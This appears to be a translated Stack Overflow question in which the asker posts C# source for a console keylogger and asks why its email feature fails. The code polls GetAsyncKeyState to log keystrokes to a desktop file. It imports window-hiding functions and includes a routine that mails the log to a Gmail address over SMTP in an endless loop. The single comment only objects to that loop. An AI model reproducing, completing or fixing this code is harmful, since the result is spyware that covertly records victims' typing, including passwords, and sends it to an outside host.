【发布时间】：2015-05-26 21:21:44
【问题描述】：
我使用控制台应用程序在 C# 中创建了一个键盘记录器。 （我没有完全自己做这个，只是很大一部分）。所以我的键盘记录器中的问题是我正在尝试向其中添加邮件功能但是当我发送垃圾邮件随机键时，它们将被写入特定的文本文件但不会被邮寄，这有点烦人......
我想知道是否有人可以帮助我。
class Program
{
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(int i);
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
static string path = (Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "\\lel.txt");
static void Main(string[] args)
{
Keylogger();
}
static void mail()
{
while (true)
{
string userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
MailMessage mail = new MailMessage();
mail.To.Add("mymail@gmail.com");
mail.From = new MailAddress("mymail@gmail.com", "gauthier", System.Text.Encoding.UTF8);
mail.Subject = "Keylog from " + userName;
mail.SubjectEncoding = System.Text.Encoding.UTF8;
mail.Body = "Keylogged!";
mail.BodyEncoding = System.Text.Encoding.UTF8;
mail.IsBodyHtml = false;
mail.Priority = MailPriority.High;
SmtpClient client = new SmtpClient();
client.Credentials = new System.Net.NetworkCredential("mymail@gmail.com", "password");
client.Port = 587;
client.Host = "smtp.gmail.com";
client.EnableSsl = true;
Attachment data = new Attachment(path);
mail.Attachments.Add(data);
client.Send(mail);
}
}
static void Keylogger()
{
StreamWriter sw = new StreamWriter(path);
while (true)
{
Thread.Sleep(50);
for (Int32 i = 0; i < 255; i++)
{
int KeySt = GetAsyncKeyState(i);
if (KeySt == 1 || KeySt == -32767)
{
if (((Keys)i) == Keys.A)
{
sw.Write("a");
}
else if (((Keys)i) == Keys.B)
{
sw.Write("b");
}
else if (((Keys)i) == Keys.C)
{
sw.Write("c");
}
else if (((Keys)i) == Keys.D)
{
sw.Write("d");
}
else if (((Keys)i) == Keys.E)
{
sw.Write("e");
}
else if (((Keys)i) == Keys.F)
{
sw.Write("f");
}
else if (((Keys)i) == Keys.G)
{
sw.Write("g");
}
else if (((Keys)i) == Keys.H)
{
sw.Write("h");
}
else if (((Keys)i) == Keys.I)
{
sw.Write("i");
}
else if (((Keys)i) == Keys.J)
{
sw.Write("j");
}
else if (((Keys)i) == Keys.K)
{
sw.Write("k");
}
else if (((Keys)i) == Keys.L)
{
sw.Write("l");
}
else if (((Keys)i) == Keys.M)
{
sw.Write("m");
}
else if (((Keys)i) == Keys.N)
{
sw.Write("n");
}
else if (((Keys)i) == Keys.O)
{
sw.Write("o");
}
else if (((Keys)i) == Keys.P)
{
sw.Write("p");
}
else if (((Keys)i) == Keys.Q)
{
sw.Write("q");
}
else if (((Keys)i) == Keys.R)
{
sw.Write("r");
}
else if (((Keys)i) == Keys.S)
{
sw.Write("s");
}
else if (((Keys)i) == Keys.T)
{
sw.Write("t");
}
else if (((Keys)i) == Keys.U)
{
sw.Write("u");
}
else if (((Keys)i) == Keys.V)
{
sw.Write("v");
}
else if (((Keys)i) == Keys.W)
{
sw.Write("w");
}
else if (((Keys)i) == Keys.X)
{
sw.Write("x");
}
else if (((Keys)i) == Keys.Y)
{
sw.Write("y");
}
else if (((Keys)i) == Keys.Z)
{
sw.Write("z");
}
else if (((Keys)i) == Keys.Enter)
{
sw.Write(Environment.NewLine);
}
else if (((Keys)i) == Keys.Space)
{
sw.Write(" ");
}
else if (((Keys)i) == Keys.NumPad0)
{
sw.Write("0");
}
else if (((Keys)i) == Keys.NumPad1)
{
sw.Write("1");
}
else if (((Keys)i) == Keys.NumPad2)
{
sw.Write("2");
}
else if (((Keys)i) == Keys.NumPad3)
{
sw.Write("3");
}
else if (((Keys)i) == Keys.NumPad4)
{
sw.Write("4");
}
else if (((Keys)i) == Keys.NumPad5)
{
sw.Write("5");
}
else if (((Keys)i) == Keys.NumPad6)
{
sw.Write("6");
}
else if (((Keys)i) == Keys.NumPad7)
{
sw.Write("7");
}
else if (((Keys)i) == Keys.NumPad8)
{
sw.Write("8");
}
else if (((Keys)i) == Keys.NumPad9)
{
sw.Write("9");
}
else if (((Keys)i) == Keys.CapsLock)
{
sw.Write("[CL]");
}
sw.Flush();
}
}
}
}
}
【问题讨论】：
-
while(true)发送电子邮件？不！！！